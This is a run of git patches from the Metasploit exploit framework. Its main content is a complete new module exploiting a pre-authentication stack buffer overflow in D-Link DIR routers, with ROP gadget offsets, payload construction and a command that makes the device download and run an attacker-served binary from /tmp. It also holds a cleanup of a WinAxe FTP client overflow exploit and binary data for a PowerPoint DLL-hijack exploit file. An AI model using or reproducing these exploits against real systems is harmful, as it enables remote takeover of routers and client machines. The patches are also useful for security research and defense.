deletions(-) diff --git a/modules/exploits/windows/ftp/winaxe_server_ready.rb b/modules/exploits/windows/ftp/winaxe_server_ready.rb index 18bf8cb9a2..145de958cd 100644 --- a/modules/exploits/windows/ftp/winaxe_server_ready.rb +++ b/modules/exploits/windows/ftp/winaxe_server_ready.rb @@ -25,23 +25,26 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ [ 'EDB', '40693'], - [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ], # Put this in later + [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ] ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 1000, - 'BadChars' => "\x00\x0a\x0d", + 'BadChars' => "\x00\x0a\x0d" }, 'Platform' => 'win', 'Targets' => [ - [ 'Windows Universal', { + [ 'Windows Universal', + { 'Offset' => 2065, - 'Ret' => 0x68017296} ], # push esp # ret 0x04 WCMDPA10.dll + 'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll + } + ] ], 'Privileged' => false, 'DisclosureDate' => 'Nov 03 2016', @@ -52,11 +55,10 @@ class MetasploitModule < Msf::Exploit::Remote super end - def on_client_unknown_command(c,cmd,arg) + def on_client_unknown_command(c, _cmd, _arg) c.put("200 OK\r\n") end - #def on_client_command_list(c,arg) def on_client_connect(c) print_status("Client connected...") @@ -66,10 +68,8 @@ class MetasploitModule < Msf::Exploit::Remote sploit << payload.encoded sploit << make_nops(20) - print_status("Sending exploit") c.put("220" + sploit + "\r\n") c.close - return end end From f268c284156bc4381696c0e34e8c040f1b5d5f41 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 7 Nov 2016 17:45:37 +0000 Subject: [PATCH 103/157] Create dlink_hnap_login_bof.rb --- .../linux/http/dlink_hnap_login_bof.rb | 300 ++++++++++++++++++ 1 file changed, 300 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_hnap_login_bof.rb diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb new file mode 100644 index 0000000000..e6fdf0ca35 --- /dev/null +++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb @@ -0,0 +1,300 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +# Payload working status: +# MIPS: +# - all valid payloads working (the ones that we are able to send without null bytes) +# ARM: +# - inline rev/bind shell works (bind... meh sometimes) +# - stager rev/bind shell FAIL +# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb... + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow ', + 'Description' => %q{ + Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which + is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol, + which accepts arbitrarily long strings into certain XML parameters and then copies them into + the stack. + This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested + using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and + this vulnerability is present in both MIPS and ARM devices. + The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a + few load and store instructions. Because of this the payloads have to be sent unencoded, which + can cause them to fail, although the bind shell seems to work well. + For the ARM devices, the inline reverse tcp seems to work best. + Check the reference links to see the vulnerable firmware versions. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'References' => + [ + ['CVE', '2016-6563'], + ['US-CERT-VU', '677427'], + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/dlink-hnap-login.txt'], + ['URL', 'FULL_DISC_PLACEHOLDER'] + ], + 'DefaultOptions' => { 'WfsDelay' => 10 }, + 'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target) + 'Targets' => + [ + [ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]', + { + 'Offset' => 3072, + 'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers + 'Sleep' => 0x56DF0, # sleep() offset into libuClibc-0.9.30.3.so + 'FirstGadget' => 0x4EA1C, # see comments below for gadget information + 'SecondGadget' => 0x2468C, + 'ThirdGadget' => 0x41f3c, + 'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi sp,sp,-3128 + 'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr sp + 'BranchDelay' => "\x20\x84\xf8\x30", # addi a0,a0,-2000 (nop) + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'BadChars' => "\x00", + 'EncoderType' => Msf::Encoder::Type::Raw # else it will fail with SIGILL, this CPU is crippled + }, + } + ], + [ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]', + { + 'Offset' => 1024, + 'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well) + 'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so + 'FirstGadget' => 0x18298, # see comments below for gadget information + 'SecondGadget' => 0x40CB8, + 'Arch' => ARCH_ARMLE, + } + ], + ], + 'DisclosureDate' => 'Nov 7 2016', + 'DefaultTarget' => 0)) + register_options( + [ + Opt::RPORT(80), + OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']), + OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']), + OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']), + OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']), + OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']), + ], self.class) + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/HNAP1/', + 'method' => 'POST', + 'Content-Type' => 'text/xml', + 'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' } + }) + + if res && res.code == 500 + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + def calc_encode_addr (offset, big_endian = true) + if big_endian + [(target['LibcBase'] + offset).to_s(16)].pack('H*') + else + [(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse + end + end + + def prepare_shellcode_arm (cmd) + #All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers + + #first_gadget (pops system() address into r3, and second_gadget into PC): + #.text:00018298 LDMFD SP!, {R3,PC} + + #second_gadget (puts the stack pointer into r0 and calls system() at r3): + #.text:00040CB8 MOV R0, SP + #.text:00040CBC BLX R3 + + #system() (Executes argument in r0 (our stack pointer) + #.text:0005A270 system + + #The final payload will be: + #'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command + shellcode = rand_text_alpha(target['Offset']) + # filler + "\xff\xff\xff\xff" + # n integer overwrite (see advisory) + rand_text_alpha(16) + # moar filler + rand_text_alpha(4) + # r11 + calc_encode_addr(target['FirstGadget'], false) + # first_gadget + calc_encode_addr(target['System'], false) + # system() address + calc_encode_addr(target['SecondGadget'], false) + # second_gadget + cmd # our command + end + + def prepare_shellcode_mips + #All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers + + # is at 56DF0 + + #first gadget - execute sleep and call second_gadget + #.text:0004EA1C move $t9, $s0 <- sleep() + #.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget + #.text:0004EA24 li $a0, 2 <- arg for sleep() + #.text:0004EA28 lw $s0, 0x20+var_8($sp) + #.text:0004EA2C li $a1, 1 + #.text:0004EA30 move $a2, $zero + #.text:0004EA34 jr $t9 + #.text:0004EA38 addiu $sp, 0x20 + + #second gadget - put stack pointer in a1: + #.text:0002468C addiu $s1, $sp, 0x58 + #.text:00024690 li $s0, 0x44 + #.text:00024694 move $a2, $s0 + #.text:00024698 move $a1, $s1 + #.text:0002469C move $t9, $s4 + #.text:000246A0 jalr $t9 + #.text:000246A4 move $a0, $s2 + + #third gadget - call $a1 (stack pointer): + #.text:00041F3C move $t9, $a1 + #.text:00041F40 move $a1, $a2 + #.text:00041F44 addiu $a0, 8 + #.text:00041F48 jr $t9 + #.text:00041F4C nop + + #When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer. + #prep_shellcode_1: 23bdf7a8 addi sp,sp,-3128 + #prep_shellcode_2: 03a0f809 jalr sp + #branch_delay: 2084f830 addi a0,a0,-2000 + + #The final payload will be: + #shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay + shellcode = payload.encoded + # exploit + rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler + calc_encode_addr(target['Sleep']) + # s0 + rand_text_alpha(4) + # s1 + rand_text_alpha(4) + # s2 + rand_text_alpha(4) + # s3 + calc_encode_addr(target['ThirdGadget']) + # s4 (third gadget) + calc_encode_addr(target['FirstGadget']) + # initial pc / ra (first_gadget) + rand_text_alpha(0x1c) + # filler + calc_encode_addr(target['SecondGadget']) + # second_gadget + rand_text_alpha(0x58) + # filler + target['PrepShellcode1'] + # exploit prep + target['PrepShellcode2'] + # exploit prep + target['BranchDelay'] # exploit prep + end + + def send_payload (payload) + begin + # the payload can go in the Action, Username, LoginPassword or Captcha XML tag + body = %{ + + + + + something + Admin + + #{payload} + + + +} + + res = send_request_cgi({ + 'uri' => '/HNAP1/', + 'method' => 'POST', + 'ctype' => 'text/xml', + 'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }, + 'data' => body + }) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + #print_status("on_request_uri called: #{request.inspect}") + if (not @pl) + print_error("#{peer} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{peer} - Sending the payload to the device...") + @elf_sent = true + send_response(cli, @pl) + end + + def exploit + print_status("#{peer} - Attempting to exploit #{target.name}") + if target == targets[0] + send_payload(prepare_shellcode_mips) + else + downfile = rand_text_alpha(8+rand(8)) + @pl = generate_payload_exe + @elf_sent = false + resource_uri = '/' + downfile + + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{peer} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + datastore['SSL'] = true if ssl_restore + print_status("#{peer} - Asking the device to download and execute #{service_url}") + + filename = rand_text_alpha_lower(rand(8) + 2) + cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &" + + shellcode = prepare_shellcode_arm(cmd) + + print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.") + counter = 0.00 + while (not @elf_sent) + if counter % 50.00 == 0 && counter != 0.00 + print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.") + end + send_payload(shellcode) + sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine + counter += 1 + end + print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.") + end + end +end From 95bd9501338f506b3b0fdc893b8b850a832a33f7 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 7 Nov 2016 17:59:29 +0000 Subject: [PATCH 104/157] Point to proper link on github --- modules/exploits/linux/http/dlink_hnap_login_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb index e6fdf0ca35..a6139ac796 100644 --- a/modules/exploits/linux/http/dlink_hnap_login_bof.rb +++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote [ ['CVE', '2016-6563'], ['US-CERT-VU', '677427'], - ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/dlink-hnap-login.txt'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'], ['URL', 'FULL_DISC_PLACEHOLDER'] ], 'DefaultOptions' => { 'WfsDelay' => 10 }, From 3c1f642c7be84adf79be8813a80063b8c14b81dc Mon Sep 17 00:00:00 2001 From: Yorick Koster Date: Tue, 8 Nov 2016 16:04:46 +0100 Subject: [PATCH 105/157] Moved PPSX to data/exploits folder --- .../office_ole_multiple_dll_hijack.ppsx | Bin 0 -> 31220 bytes .../office_ole_multiple_dll_hijack.rb | 656 +----------------- 2 files changed, 4 insertions(+), 652 deletions(-) create mode 100644 data/exploits/office_ole_multiple_dll_hijack.ppsx diff --git a/data/exploits/office_ole_multiple_dll_hijack.ppsx b/data/exploits/office_ole_multiple_dll_hijack.ppsx new file mode 100644 index 0000000000000000000000000000000000000000..bf2b76750508b96f3ed6241d7af71494ad32d892 GIT binary patch literal 31220 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 